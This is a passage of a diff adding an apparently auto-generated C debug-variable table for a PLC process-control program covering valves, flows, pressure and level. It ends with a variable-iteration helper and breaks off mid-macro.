+{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = 